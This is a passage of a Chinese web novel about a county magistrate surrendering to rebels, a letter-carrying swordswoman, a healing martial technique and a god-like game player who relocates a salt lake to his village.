王县令喉头发紧,“周围城池已全部被攻陷?” “目前来看的话,咱们附近的城池的确被攻陷了,倒是更小一些的村落并未遭此毒手。” 自然了,村落能有几个战斗力,只要说把控住主城,等到将主城消化完毕,又何愁那些村人敢不唯命是从? 心底涌出一股恐慌,王县令意识到这风仙县的确是不能久留了。 当即立即叫来李县丞,汪县尉,高典历几人,商讨应对法子。 李县丞揉捏了一番额头,随即缓缓开口。 “大人,依我看,不如我们先发制人,派人前去求和? 他们义师军求的是领地,等到之后统一疆土,未必不需要人治理县城。 再说了,除了本县,这义师军定有尚未征服之地,若他们能够在我们投诚后不杀一人,那岂不是可以将我们县作为宣传,以后攻打别的城池,岂不是更轻松?” 李县丞这话虽说有些没骨气,但还是很有几分道理的。 但王县令却另有考量。 “这,若是之后这义师军败了,我等今日之事,岂不是会被朝廷定为叛贼?” 王县令的担忧不无道理,但李县丞却苦笑道:“大人,咱们理应先考虑当下才是。 若真有那么一天,咱们只需要咬死是那义师军自己打出来的幌子便是,不然不说以后,恐我们过不了当下这一关啊。 若再说别的法子,恐怕便是咱们去寻朝廷军队帮扶了。” 这话说得委婉,但几人都知晓这话的含义。 帮扶,如何帮扶?恐便是带队逃跑了,且这法子不确定更大啊。 几人均琢磨此话,最终定下几人前去开元县送上投诚状。 当然,逃跑这事也必须准备好,等万一那义师军不同意投诚,他们立即就能逃出这风仙县避难。 王县令打点好这些事后派人去敲打敲打杨木几句,真想告诉他别乱传义师军之事,却听心腹道那杨木早就不见踪影,恐是离城。 倒是没想到能被这等人阴了一把,王县令脸色难看,像是想到了什么一般,他忙让人去查看当初和杨木一起前往斗坡村的那三人家中如何。 等到听到下属回报,果不其然,这四口人消失得无影无踪。 他便知道这几人定是逃走了。 ——哼,等他熬过这一难关,到时候必定要将杨木几人捉回来狠狠惩治! 李县丞则是将投诚书写好,随即命人拿着这前往开原县 希望这投诚书有用吧,不然他实在不甘心,自己苦苦经营数年,眼看距离这县令之位只有一步之遥,却要败在这义师军手中,这让他如何能痛快。 若是能渡过这一难关,之后义师军败了后,他便能将这投诚书屎盆子扣在王县令脑袋上,无论怎么算,这步棋对他来说都是百利而无一害。 不过也不能排除这等流寇未曾开化,拒不接受投诚,李县丞命家中妻子已然开始进行财物转移。 风仙县内除却这几人外,倒有不少人知晓义师军的存在。 这些人大都是从附近的庄子,亦或是跑商人口中得知这一消息。 虽说风仙县不允许随意出城,但架不住素日做生意,这些人走动之间,沟通往来便能得知。 而杨木四人入城前也考虑到县令一行人或许并不会告诉普通民众此事,为了应对这种可能,他们特意在家中附近遗留下数份文书。 等到他们出城后,便让熟悉的人过去查看此讯息。 于是,义师军即将侵犯之事,顿时便流传开来。 当然了,流传均是私底下流传,没人敢将这事让这些官兵察觉。 趁着消息还没来及传播开,不少人当机立断,立即携家人朝城外逃窜。 好在此刻的风仙县出城比入城松快,给出城官兵打点一番,不少人趁机逃了出去。 而等再过两日,这消息走漏出去,瞬间惹得民心混乱。 大部分人想方设法想要离开风仙县,但很可惜,此时守城官兵已反应过来,不肯再放一人出城。 眼看这般情况,风仙县内顿时人人自危,不少铺子纷纷歇业回家,整个县城看上去萧条万分。 而先前的方知意,则早在此事还未曾爆出来前,先行跟随着父母前往那斗坡村。 等她走到路上时,才得知城内传来的消息。 想到城中的两位好友安危,方知意忍不住担忧。 想联络,但已然是来不及。 此刻方知意正和父母在路途中一客栈暂歇,听闻此事后,她忙前往询问客栈老板眼下是否通讯畅通,那城内驿站可否还能继续工作。 在得到否定的回答后,她忍不住叹息。 这客栈老板则是念叨道:“可别提了,那风仙县内现在哪有商户做生意哦,都人人自危,各个蜷缩在家中,依我看,要想联络上县城内,得看那义师军的动静了。” 老板说的是实话,方知意却听得心里直发凉。 虽说她父母,哥哥全都不在城内,但好友,以及整个方宅却依旧在城内。 那方宅中有从小养大她的奶娘,小丫鬟,还有熟悉的那些人 一想到义师军或将攻打过来,方知意就觉得喉咙发紧。 似乎是看出来她的紧张不安,有一人将手搭在她肩膀,慢悠悠在她耳旁道:“送信服务要不要?” 第69章 百才堂 这声音带着几分慵懒,方知意惊恐转身,结果看到便是一袭红衣的高挑女子。 此人背上背着一柄弯刀,神态倒是自得,这会儿伸出的手还旁若无人地搭在她肩膀上。 “此话可真?我想联络之人可是在那风仙县内,县内危机重重,恐不好送信。” 这红衣女子噗呲一笑,随后慢悠悠开口:“所以费用不便宜啊,你能给多少钱?” 方知意顺手将荷包拿出来,除此之外,想了想后,她从头上拔下一根银簪递过去。 生怕自己给的价格低,不过好在这女子伸手接过塞进怀中。 “说地址吧,保证给你送到。” 方知意将信将疑,但眼下没有更好的选择,只能飞速给县内好友和家中纷纷写下书信。 等确定写完后,她赶忙去找那红衣女子,生怕因自己动作慢这人离去。 等看到这红衣女子还端坐在凳子上时,方知意不自觉松了口气。 将这三封信递给对方,再将那地址一一告诉对面,对方点点头,随即出门离开。 她想问对方这信什么时候能送到,但等追到客栈门口时,却发现这红衣女子早就消失不见 希望此人不是骗子,能将信件送到她们手中去。 其实仔细想想,此人是骗子的概率很大,但她没办法,只能搏一搏。 而寻宁倒是翻开怀间数封信,逐渐在脑内回想这些信件所在的地址。 将地址串好顺序后,她这才直奔风仙县而去。 守城的官兵依旧死死把守城门,但这可难不住寻宁。 等翻越城墙,顺利进城后,寻宁挨个将信件送过去。 当寻宁将信送到孙府,即将要离去时,却恰被孙凝羽看到后拦下。 “女侠稍等片刻,容我再写一封回信可好?” 若是平时,寻宁不乐意,毕竟在这县内呆着风险高,她送信时从不和人多废话,都是干完了活就走。 但不知为何,她却停留下来。 ——罢了罢了,那小娘子先前给的费用还超出一些。 索性点头,让孙凝羽赶快写。 孙凝羽大喜,不敢浪费时间,忙提笔就写。 期间提及到她先前稍微试探得知的消息,又写她一切安好。 等写完后,孙凝羽忙将信纸叠好,递给等着的寻宁。 除此之外,她还给多给了一份送信的钱。 寻宁不动声色地将钱塞进她怀里,“你朋友给过了。” 不等孙凝羽开口,寻宁先行离开。 而看着寻宁离去的背影,孙凝羽不免面带忧虑。 ——好在是知意阴差阳错离开了风仙县,她前几日倒是问过白思妙,对方回复一切安好。 原以为这事或许过几天会变好,但当她意外得知那王县令的打算后,忍不住心生绝望。 而寻宁则在客栈将回信给了方知意,随后不等方知意开口道谢,便出了客栈。 话说这寻宁这段时间没少去干活赚钱,虽说斗坡村有不少高薪工作,但干起来总觉得碍手碍脚的,不甚痛快。 最后倒是被她阴差阳错寻到了一份送信的活计,也是因为这活计危险,目前只有她能送的了,倒是让寻宁赚了不少。 不过她本人并非是喜欢赚钱的性子,只是人在江湖,有时候住宿吃饭都需要钱啊。 先前她去风仙县除了送信外,还额外从那县令府衙打探到了消息。 这狗官竟然打算投诚,且早在之前便将那投诚书送去,真是没骨气。 她忍了忍想要杀死对方的冲动,打算过几日等打探到那义师军是否接受投诚后再动手杀人。 等寻宁重返斗坡村,先回了住所。 先修炼一番从这斗坡村学来的身法后,又唤出一只信鸽,将这些日子的所见所闻,以及这身法全部写上去,随即信鸽飞离,直奔她来时之处。 而于此同时,方知意则是看着眼前好友写的回信发呆,随即便是怒在火中烧。 ——这王县令,竟打算投诚! 莫非他脑子是被驴踢了?这般残忍好斗的义师军,如何能听信他们的承诺? 与其投诚,还不如拼劲全力去反击这流寇,这样都比投诚要多几分活路! 心乱如麻,方知意一大早便和父母快速赶往那斗坡村。 她期待从这斗坡村内寻找到新的奇迹,不然这世道可谓是彻底完了。 而赵金构在前些日子便知晓了义师军的存在。 好在他和祖母已经全部搬离风仙县,暂且不必说出不了城,但若风仙县被强攻,最终定会造成局面失控,不知道仙师是如何计划的? 赵金构心中微微多了几分茫然,随即便将自己知晓的情报告知祖母。 赵老夫人看着比先前好太多了,这会人已经都能勉强行走,就是走路还有些不稳当,但那大夫说过,再吃半年药,保管老太太能恢复到原先的状态,赵金构这才放心。 “构儿,依我看,这世道的改变都存系在那位身上。 祖母我年轻时和你祖父走南闯北,说实话,那斗坡村盛况,恐只有当初最为繁华的黎州城内才能与之一并高下。” 老太太精神气好了不少,面色虽还带着些许苍白,但人早已能够自理。 “祖母说笑了,那黎州城可是朝廷脚下,定要比这斗坡村内繁华数倍。” 赵金构觉得祖母这话说得夸张,却见祖母摇头叹息。 “若论繁华,确实黎州城繁华,但若是论工钱,论百姓的生活水平,却是这斗坡村要更胜一筹。 当年最繁华的黎州城,贵人们极尽奢华,却容不下普通人日赚百文,更容不下女子出去做活,和男子有同等待遇。 而作为一小小的村落,却能做那黎州城所做不到之事,倒是没想到,我老了,竟然能在闭眼前看到新希望。” 赵老夫人说完这话,眼中似乎有一抹伤痛闪过,赵金构没能注意到祖母一闪而过的情绪,而是处于沉默之中 若如祖母所说,黎州城也不过是仙师领导下最为普通的一个村落而已。 若仙师大业已成,是不是未来每个人都能过上有劳必有所得的生活? 正沉思之际,他却被祖母下一秒所说的话惊到了。 “构儿,你可有练那身法?你演示一遍,让祖母也跟着练练。” 赵金构顿时大惊,忙拒绝。 “祖母身子尚未大好,如何能练身法?到时候恐会伤了根本。” 却拗不过祖母,只能让她跟着去练。 倒是没想到,赵老夫人在练了有几天后,突然咳出一口淤血。 吓得伺候的丫鬟忙去喊赵金构。 等到赵金构带着方大夫匆忙赶回来时,看到的却是生龙活虎的赵老夫人。 还没反应过来到底发生了何事,祖母却优哉游哉地在他眼前打了一套身法。 被惊呆的赵金构:不是,是自己眼花了? 不敢置信地揉了揉眼睛,却见祖母似乎打得更欢快了几分 正沉默着不知道该说些什么时,方大夫却是边诊脉边惊叹。 “奇了怪了,老夫人先前体内还有淤血堵着,我本以为至少还需要三个月才能靠药物将这淤血化解,但为何才过了不到半个月,这淤血竟消失了?” 赵金构试探询问:“方大夫,有没有可能是因为每日练习身法的原因?” 话还没说完方大夫眉头一蹙,吹胡子瞪眼。 “练身法了?!这病没好透以前不能乱练的!” 倒是赵老夫人淡然开口:“方大夫,其实也是我自己想练,不过我在练完这套身法后,只觉得浑身气血翻涌,似乎经络都被打开了,连续不到半个月,今日倒是喷出一口淤血来。” 方大夫立即被这话吸引了注意力。 虽说有些不满赵老夫人不按照自己说的法子去静养,但同时,他倒是对这番变化好奇得紧。 若按照以往经验,病人是决不能剧烈运动的,为何赵老夫人不仅无事,还能加快恢复? “不知老夫人练的是何身法?” 赵金构忙道:“叫做归一炼体术的一门身法,来自于那斗坡村内。” 为了更为方便方大夫查看,他甚至还亲自打了一遍身法作为示范。 方大夫死死地盯着赵金构,在他动作之时,嘴中还不停念念有声。 等到赵金构暂停动作时,方大夫赞叹不已。 “这身法果然不愧为归一炼体术啊。” 赵金构好奇,“不知何出此言?” 却听方大夫赞赏道:“这身法设计处处精妙,可调动身体每一块肌肉,每一根骨骼,可捋顺身体原先缠在一起的脉络,将身体多处整合成一处,这便谓归一。 现在我算是明白了,为何老夫人身体会好得这般快,这身法能加速身体不通顺之处通顺,自然在咳血后大好了。” 方大夫执笔记录后,随即眼内带上了敬佩。 “若有机会,真想去拜见那位仙师,向对方讨教一番才是。” 倒是赵金构不自觉思索开来。 ——这方大夫艺术高超,为人正直良善,既对方被仙师所折服,他理应为对方指引一番才是。 毕竟仙师旗下助力越多,这世道改变起来才更快。 顿时开口道:“方大夫若是不嫌弃的话,或许我能带您过去拜访仙师一趟。 不过就是有可能仙师真身不露面,但能在脑内用仙音和你沟通,不知方大夫意下如何?” 方大夫自然应好,毕竟他和赵金构不同,早多次听闻仙师大名,也看到这位仙师所做之事,打心眼里觉得仙师定是一位好仙,只是没有拜见门路而已。 眼看方大夫答应得痛快,倒是让赵金构萌生出一个想法来。 ——看来想为仙师效力的人不少,但这些人都苦于没有门路,自己何不开设一百才堂,先让有意投奔之人登记,随后在查明此人确实有资格觐见仙师后,再将此人引荐过去? 若这般操作的话,不怕仙师旗下无人可用啊。 第70章 盐池 心中蠢蠢欲动,赵金构先按下想联络仙师的冲动,转而打算寻个日子,先将方大夫引荐过去,而后再顺道提出那修建百才堂之事。 毕竟现在义师军这事还未解决,虽说仙师不会将这种流寇放在眼里,但想必处理此事也颇费心神。 将方大夫送走,赵金构选择前往斗坡村内。 一是拿走一批适合外售的货物,二是前去查看一番村内气氛如何。 等他驾马到了斗坡村时,首先看到的便是男女老少正拿着兵器挥舞训练的场景。 这些人已练习数日,身体素质相较于从前有了本质的提升。 现在不说别的,至少有了最基础的自保能力。 想起方大夫所说此身法设计尤为精妙,赵金构仔细感受着身体各处的变化,随后惊喜发觉,自己的身躯更为灵活了,若是从前他一人能抗三人,现在恐怕要比原先更为惬意轻松。 且在修炼了这身法后,他再次行每日练习,均能感觉到练习的上限提高了。 继续往村内走去,赵金构去寻孙宁元,却是不巧,孙宁元正有事外出,不曾在厂内,赵金构无奈之下,只能和豆腐厂的副总管谈论下一步打算。 这副总管是个陌生娘子,和孙宁元温和的外貌不同,此人身长八尺有余,高大壮硕,单看外貌,第一眼便能给人足够的视觉冲击。 赵金构记得上次来的时候,还没设立副总管,而今日以来,这副总管已上任,想必是之前孙宁元推荐的此人? 脑内想法诸多,但很快一闪而过。 这副总管先行开口。 “赵公子,你称呼我为金娘子便是。” 一开口,赵金构顿觉这人口音并非本地人,再加上这姓氏,越看越觉得对方像是明州以外之人。 不过既然能得到这副总管的位置,总归是过了仙师眼的,那自然都是一家人。 赵金构微笑道:“首先干货和调料,依旧加大生产,过十日后,我联系到的游商便会前来收货,除此之外,金娘子可曾知晓要培训会做豆腐之人?” 金娘子脸色凝重,端得是一副不苟言笑的模样。 “这自然是晓得的,生产的话,目前豆腐厂已额外再多招五十人,专门负责干货生产,至于培训人手,目前已培训出点浆员十名,其他步骤的制作工五十人,若赵公子觉得不够用的话,还可以和我继续商讨增加人手。 不过依我看,若每处豆腐坊需要两位点浆员,其余员工十人,此番人手暂且能开五家豆腐坊。 前期不若先靠着这五家看看市场,若市场反馈良好,到时候再多招聘人手,不知赵公子意下如何?” 金娘子此人说话的时候很有条理,且语气中带着一丝不易被人察觉的严厉。 赵金构不知为何,竟从这金娘子身上嗅到了几分小时候管教先生那古板严肃的气息。 等他再想细细回想先前的感觉时,却怎么也回想不出来。 不过金娘子说的话很有道理,他想法和这差不多。 这会回神后,自然应了下来。 从豆腐厂离开后,赵金构前往自家客栈,平儿被他派出去监察别的庄子去了,这会在店里的是另一人。 等听完汇报后,赵金构坐在二楼,静静地看着楼下人来人往。 ——从那义师军即将攻城的消息传开后,原先繁华热闹的村内顿时寂静了不少。 虽说依旧有摆摊的,卖货的,铺子也依旧在开,但相较于从前那副轻松氛围,此刻的斗坡村像是时刻笼罩着一层阴影一般,让人绷紧心神。 不过即使如此,也要比风仙县内气氛好太多,至少这村内还有铺子营业,各项工作还在继续做,那流寇对斗坡村内有影响,但影响也并非特别大。 边思索义师军的事,赵金构注意力却被一人彻底吸引。 此人身穿一袭红衣,走在人群的背影异常吸睛。 而这人背后,则是别了一把弯刀,从此人走路方式以及神态观察的话,赵金构不由微撼。 这人定当是练家子,且周遭的气势强劲,感觉很危险的人。 似乎是盯得时间过长,这红衣人猛地转身,那双锐利的眼神和他遥遥对视。 这眼神杀气十足,赵金构缓缓挪开视线,尽量不和此人对视。 仅一个呼吸间,此人便消失无影。 倒是赵金构不由叹息。 ——自斗坡村有仙师后,每日总有那奇特之人,这红衣女子便算是一人。 好在这群人忌惮仙师威力,不曾有什么别的想法,不然单是一个村子,如何能扛得住? 赵金构沉思之际,而在地瓜厂内,张山则和杨延呆在一处。 自杨延回来后,他先是跟着练了那仙法,随即在纠结犹豫一番后,再次选择出门收购黄豆。 虽说现在外面不太平,但无论何时,总有人需要活着,且这个时候的雇佣价格也稍高,可谓是风险和收益并存。 杨延这次租赁的价格相较于先前贵了,但无论如何计算,他最后的总收入并不会少太多。 再加上再来个两趟这活计就能结束了,所以杨延自然也能接受。 等到提心吊胆出走两趟回家后,杨延暂且无事,久呆家中打算陪陪侄子侄女,顺道继续训练那身法。 ——这身法不说别的,坚持练习的话,的确是大有益处,像他原先跑商一个来回便会觉得浑身疲惫,现在练了此身法后,体力增强了不少,且无论是身体亦或是精神,总感觉被滋养了不少。 一连在家中呆了数日后,杨延决定出门去采购一番。 这采购着采购着,便来到那地瓜厂,打算购入粉条。 而后便是拜访一番张山。 谁都没想到,这阴差阳错间,张山竟想将他引荐给仙师。 杨延原先就有为仙师效力的想法,但一直不好开口提,毕竟他并非斗坡村人,生怕会犯了忌讳,但这会既然张山提了,他自然视之为机遇,满口应下。 等到脑内传来张山所说的仙音时,杨延本以为自己会紧张到不知该说什么话,但这声音似乎自带抚慰人心的效果,在那如同寒泉流淌的声音间,他只觉得自己脑内一片清明。 在听清楚仙师给予自身的任务后,杨延愣了足足有数秒 他没听错吧? 那位是不是说了要让他管理盐池造盐事宜? 要知道本朝大型官家盐池都被掌握在朝廷手中,私人造盐那可是违法的! 但转头一想,本村制造兵器也是违法的,再想想看,这世道,能活着就谢天谢地了,管他杀头不杀头! 仙师肯放手让他管理盐池造盐,定是觉得他还算靠谱,所以才将这差事下发给他。 正是脑内思绪万千之际,杨延便听张山询问他是否得了差事。 张山作为引路人,他自然不带隐瞒,将仙师委托自己的差事大概告知。 等到听到杨延是去管理造盐时,张山一脸羡慕嫉妒恨。 ——不是,凭啥啊,凭啥杨延就能去管这般重要的盐池,他也不差嘛,为啥仙师不让他去管理盐池? 倒是杨延似乎看出了张山的郁闷,猜想道:“张大哥何必郁闷,依我看,定是因为这造盐一事危险,而你身为人父,仙师定不能将这般危险的活计托付给你,所以这活计才能落在我头上。 不过就算危险,我也定当不负仙师期盼。” 张山一琢磨,这话好像说得确实有道理,再想想看前期建造地瓜厂那副费劲模样,他赶忙收了别的想法。 不过这会,张山倒也品出了几分不对味。 ——不是,啥时候多了这盐池的? 先前没听过啊,再说了,先前豆腐厂需要盐时,那会都是采买的,并非自家造出来的,想必这盐池刚刚出现。 杨延应召赶往山上。 而话说先前,李明月带领勘测队,应仙师命令去寻找那铁矿所在地。 一路跋山涉水,但可惜的是,并未寻到铁矿,倒是阴差阳错,寻到了一处盐池。 这盐池地处距潜灵山一百五十公里之处,面积不算大,但湖泊卤水浓度却高得很,若开发成为盐池产盐的话,每日开采盐数量怕是足够几个城池使用。 当时李明月一行人已出行有两个月,一直没能找到铁矿,本身就让众人心焦不已,期间更是有人不小心在山间踩空,一脚滚落至这盐湖中。 等众人奔到山下后,却发觉此人除了擦伤均是无碍,且这人被发现时,正好好的浮在盐池中。 几乎瞬间,众人便意识到,这定是盐湖。 测量一番浓度后,大伙均是沸腾。 ——太好了,出来这么久,总算是有些收获了! 将消息上报给仙师的同时,李明月不忘四处环顾 这山先前她们也来过,但当时并未找到这处湖泊,足可见这湖泊隐藏之深,再看四周,湖泊隐没在山间草木中,若不是运气使然,她们说不定这次依旧会和这盐池错过。 李明月不由思索开来,难道仙师一直注视着她们,在她们即将第二次错过这盐池时,仙师忍不住降下提示? 正是思绪翩飞之际,脑内终有了熟悉的回声。 而此刻,游戏提醒也很恰当的弹跳出来。 【你的工人李明月为你找到了一片盐池,是否打算开采盐池?】 【A.原地开采(1000两)。】 【B.挪移开采(1500两)。】 【C.不开采。】 姜定心中一喜,心想这勘测队可算是有些收获了。 虽说并非是最需要的铁矿,但这盐湖他目前也没有啊! 再说了,人生活离不开盐,他手握盐矿,哪怕这盐以后卖不出去多少,自产自销也能省多少硬性支出啊! 只是,这三个选项到底是毛意思?《 》 70-80 第71章 挪移天地 抱着好奇心,姜定一一将光标贴在三个选项中查看具体意思。 这A选项不必多说,就是字面意思,原地建造后续开采盐池的设施,共计需要花费1000两。 而B选项则是花费1500两,多余的500两属于挪移费用,可将盐池挪移到指定的一处,方便后续开采。 至于C选项则是前两个条件都不满足时,会自动跳转至C。 至于条件不满足自然是不够开采所需的花费了 看清楚开采条件后,姜定悬着的心稍微放松,随即便是浑身警铃猛响。 ——太险了! 好在是他为了复辟下山之路找了不少生财路子,期间也扣扣搜搜的没敢大花,合着幸亏没花,不然现在看到矿产都会因为没钱不能收入囊中。 虽说或许C选项等存够了钱再过来还能开采,但也有那些坑爹设定,若是这次错过了,下次可是再也没有了。 而在这AB之间,姜定几乎没有犹豫,选择了B。 自然是挪移到大本营附近好啊,不然后期铺路又开采,来来往往路费不知道要多花多少钱,且效率也是十分低下。 看看右上角刚超过一万两的余额,姜定心在滴血,随即无奈选择了花费1500两。 哎,钱没了还能攒攒,矿产没了可是真没了。 等他选择完B选项后,选项再次化作金光散开,而此刻,李明月却听脑内仙师慢悠悠吩咐她。 “辛苦了,你们暂离盐湖稍远一些。” 虽说不清楚仙师到底要干什么,但能得到仙师一句辛苦了,李明月顿觉心脏砰砰直跳 这是被仙师认可了吗? 脑内思绪万千,还不等她带众人离去,却听脑内仙音缓缓道:“既是你发现的盐池,理应让你负责运营日后产盐才是,你可愿意?” 李明月呼吸一滞。 这块盐池若是造盐的话,所带来的经济效益必定很高,但扪心自问,李明月确定自己并不喜欢管事以及经营,若有可能的话,她还是更喜欢带队出去寻找矿脉。 刚大着胆子,试图婉拒,却听那人道:“我知晓你的想法了,既不喜,那便换一种奖励吧。” 至于奖励是何,并未说明,倒是她脑内的仙音瞬间消失不见。 仙师果然是仙师,不等她开口便知晓她不愿意,倒是没想到,拒绝仙师后他也不恼火,反而还要给自己一行人分发别的奖励! 虽说仙师尚未明说奖励是何物,但想到以往仙师待人和善公正,李明月那颗心忍不住激动得直跳。 但她知道此刻最应该做的事是什么,当下带着众人暂离这盐池。 众人有些不解,但既然仙师这般嘱咐了,她们照做便是。 李明月内心隐隐有所猜测。 想必是仙师打算用术法将此处盐湖屏蔽开来?不然之后若是被别人发现了,难免又是一番苦战。 虽说仙师根本不会惧怕那些凡人,但那也觉得麻烦。 正当她们撤离了足够远的距离后,随即,李明月便看到了让她终生难忘的场景。 ——只见那一大片盐池,此刻仿若被人硬生生从地上挖掘出来,随即腾空而起。 在地上看时,李明月还觉得这盐池面积不算特别大,但当这盐池被仙师挖掘起来,飞在空中时,一行人惊愕得发觉,这也太大了! 在众人惊讶的眼神中,盐池腾飞到高处,随即漂浮而去。 而它所形成的阴影,像是乌云一般,遮天蔽日。 李明月震撼之余,连想询问的想法都生不出来,而是呆愣愣地看着仙师将那盐池挪移离开。 直到那盐池越飞越高,渐渐离开众人视线。 等到再看向地面上原先属于盐池的那块区域时,一行人却惊诧的发觉,那地方并非成为了她们想象中的大坑,而是变成了一片绿草茵茵的平原,和周围茂密的树木相映成趣,若不是她们亲眼所见,绝不会察觉到这里曾经是一片湖泊。 用了一些时间消化仙师那强悍的法术后,一行人沉默片刻,随即爆发出更大的决心为仙师效力。 仙师有这般神力,却依旧为了百姓忙前忙后,若连自己都立不起来,即使有仙师帮忙,最终不过是扶不上墙的烂泥而已。 李明月抹了把额间汗水,带队继续前进。 她想着,自己至少得找到一所铁矿,铁矿的用途过于广泛,若是等山上铁矿挖掘后还未能找到新的铁矿,想必必会造成不可想象的后果。 相比于之后处处受限,还是将资源捏在手里更为保险。 话说那腾飞而起的盐池并未获得任何人的注意,当它经过时,众人只觉得是一片乌云而已。 等到盐池悠悠然落到矿产区域时,下矿的工人正忙着手里的活。 一开始,众人没留意这阴影,只以为是乌云飞过而已,但当这阴影越来越大时,众人这才忍不住抬头去看。 这一看便了不得。 一大块土地正朝着他们直接飞来。 众人忙松开手中的家伙,刚跑出去几步,结果就看到那飞着的土地径直朝着前方空旷之处而去 这到底是何物? 不少人心底好奇得紧,纷纷伸长脖子往前看去。 那大块土地落在了空着的地面上,随即众人似乎看到内部像是一块碎裂开来的宝石,颤颤巍巍的,甚是诱人。 等到再接近时,大伙这才反应过来,这里面竟然是水? 水在阳光的照射下,形成一圈又一圈带着光圈的涟漪。 众人呆愣愣地看向那水面,却见那包裹着水的土块几乎瞬间便溶解到空地之内,随即水面缓缓铺开,形成一片面积巨大的湖面。 等到一切定形后,众人被这神迹震得半天说不出话来,而在之中,先到的孙宁元,以及姗姗来迟的杨延也同样是瞪大眼睛,看着眼前这一幕发呆。 围观的人群中,属里正娘子心中最为激动。 ——仙师竟有如此神通! 先前虽说她也从仙师的种种术法中看出这位的强大,但和今日移天换地的术法相比,显然今日的术法更为震撼人心。 里正娘子不由地心中激动,若仙师腾出手,定能将祝小娘子解救出来。 虽说目前仙师还未曾前往祝应所在之地,但里正娘子相信,仙师定是有其他更为重要的事等着去做,亦或是通过推衍后做出的决定。 先前她倒是联络上了原先的友人,让对方前来斗坡村,共同为仙师做贡献,一开始友人还不乐意,但等听到有很大机会能救出祝小娘子,顿时立即起身。 从友人口中得知,她此次前来,还带了不少原先的老伙计。 距离矿区最近的杨延则是完全被这一手惊呆了。 先前并未亲眼看过仙迹,这会杨延完全处于怀疑人生的阶段。 倒是孙宁元因为有过心理基础,接受起来比他要更快一些。 等到脑内传来那熟悉的声音后,杨延拼命让自己混乱的大脑清醒下来。 那声音依旧清冷,不知是不是心理作用,杨延总觉得先前那清凉如水的声音中带了几分入骨的寒意。 摇摇头,就听脑内仙人淡淡道。 “这便是盐池,之后学堂会有如何制盐的法子,至于工具的设置,也一并办了便是。” 杨延答应下来,只不过依旧处于震惊之中,连想说的话也全部忘了个干净。 而等脑内仙音消失后,杨延这才站定在这一池盐湖前发呆。 用小碗舀起一些盐水,杨延慢慢尝了一口,随即便被咸得眉头微蹙,心中却是止不住的欢喜。 这浓度很高,想必出盐效率能更高。 对于造盐业,他只粗略懂得一些,想必必须前往那学堂中抓紧学习才是。 孙宁元此次上山,则是因为婆婆的缘故。 自然她也看清楚了那神奇一幕,不过没耽搁时间,而是飞快地赶往里正娘子所在之地。 等到她来到这山上的审算堂后,先行在门口见到了婆婆。 拜见过后,里正娘子嘱咐她。 “金娘子是我向仙师推荐之人,她为人较严厉,但本性极好,你应当跟着她多学学本领才是。” 孙宁元答应下来,倒有些不理解婆婆是从哪里认识金娘子这番人物的。 这金娘子确实如同她所说,是个不可多得的优秀人才,做事谨慎细致,平时的确是一把好手。 只是这等人物是如何能和婆婆是熟人的? 心中疑惑,孙宁元随着她进入那审算堂内,看着堂内被婆婆整理得条理的账本,各项审批后,原先的疑惑不仅没能消失,反而逐渐增加。 但这话也不好问,婆婆也没有想说的意思,孙宁元只能暂时憋着,假装不知道。 等出了门后,她和数日未曾见面的丈夫见了一面,又看了看年幼的两个孩子。 两个孩子倒是在山上有吃有喝,没事还能干点采集的活计,竟每日也能赚点零花钱。 按道理这个岁数该上学堂才是,先前张氏倒是按照仙师意思建设学堂,这些日子那学堂确实建造完毕了,但因义师军的事,招生之事暂且被搁置。 且就算学堂招生,孙宁元也不放心将孩子带到山下去,万一那流寇前来放肆,孩子出事该如何是好?不如在山上暂呆一段时间,等风头过去后再去那学堂也不迟。 而此刻,那风仙县投诚之书,已被专人携带至开原县内。 使者战战兢兢骑在马上,手心里捧着的是投降书,但视线却不安地在这县城内来回逡巡。 而那血腥味,这会正止不住地往他鼻子里钻。 第72章 接受 昔日以红坊出名的开元县,此刻繁华不再,那些刻画得精致的红坊也被毁去一半,剩余的一半则还颤颤巍巍地站在风中。 那楼内似乎有人。 仔细一看,使者似乎能透过那帷幔看到其内穿着盔甲的义师军正搂抱着粉头作乐。 店铺早被洗劫一空,顺着先前那股血腥味去看,城内遍布尸首,死的人中有布衣也有身穿盔甲的官兵,各个死相凄惨。 入目所及之处,皆是一番乱相。 眼看这好端端的开原县,仅仅是几日便被糟蹋成这番模样,使者顿觉手中的投诚书似有千万斤重。 ——这般残暴之人,若真让他们进城后,风仙县内民众还有活路? 但此刻已踏入虎狼之地,使者也不敢多想,只能勉强先将手中任务完成后再返回风仙县内。 而那侯远明则在听到下属来报,说是那风仙县的县令有一投诚书要递给他。 哦?投诚书? 有几分意思。 侯远明自是选择召见此人,等到他展开那投诚书,看清楚书中内容所写,先前玩味的表情不再,反而多了几分打量。 ——这写帖子的人倒是有趣,帖子上所说,风仙县投不投在他们看来,或许作用很小,毕竟攻打的话,也不过三日便能攻下,而若是接了这投诚,之后义师军若想攻打别处,有个投诚例子在前,想必以后会多有益处。 思及以后,侯远明有些拿不准主意。 但一想,无论如何,这风仙县投诚,他至少也可以少攻打一座城池。 再说了,这风仙县定是和开原县实力差不多,暂且留着它也翻不出什么水花来。 思及这点,侯远明倒是缓缓定下心。 接受了对方的投诚,将那使者放回去后,侯远明则喊来曹副将询问士兵情况。 “禀告将军,我观军中休息良好,疲倦不再,时刻能准备攻打那风仙县。” 侯远明满意得点头,“很好,曹副将,三天后,我们带队前往那风仙县接受投诚。” “投诚是?” 曹副将心想此投诚难道是他所想的那个投诚? 便听侯远明仰头道:“自是听闻我军将士锐不可当,心生敬畏而择投诚之举。” 曹副将:给你牛的。 脸上不敢表现,忙扯出笑恭维侯远明一番。 不过虽说这风仙县县令忒没骨气,但好在是他们可以省省力气,轻松将最后一个县城收入囊中。 等到将那风仙县攻下后,想必他们便能返回了。 想想这些日子来自己快要操碎了心,曹副将顿觉心累,趁着还在开元县呆三天,自然打算好好休息一番。 而那使者则在夜色中驾马快步赶回风仙县。 等他将那义师军接受投诚一事禀告王县令后,王县令面带喜色,挥手让他下去。 好事啊,既那义师军接受投诚,想必暂时还需要他辅助治理这县城。 思及这义师军喜好享乐,王县令忙命人去酒楼定位子,打算在三日后好生招待这义师军一番。 除却酒肉招待,王县令忍着痛,打算拿出一半积蓄上缴给这义师军。 这事他自然将李县丞等人喊来,共同商讨此事。 初闻对方同意了投诚后,几人不复先前愁眉不展模样,各个神色欢喜。 谈及上贡所需的金银时,几人均是面露不舍。 ——这些银两可是他们先后搜刮许久才得来的啊,竟然今日要这般轻松便给了 尤其是其中的汪县尉,更是面露难堪。 最终还是李县丞开口提议。 “大人,仅仅是我们几人可如何能凑够这义师军所需银两?” 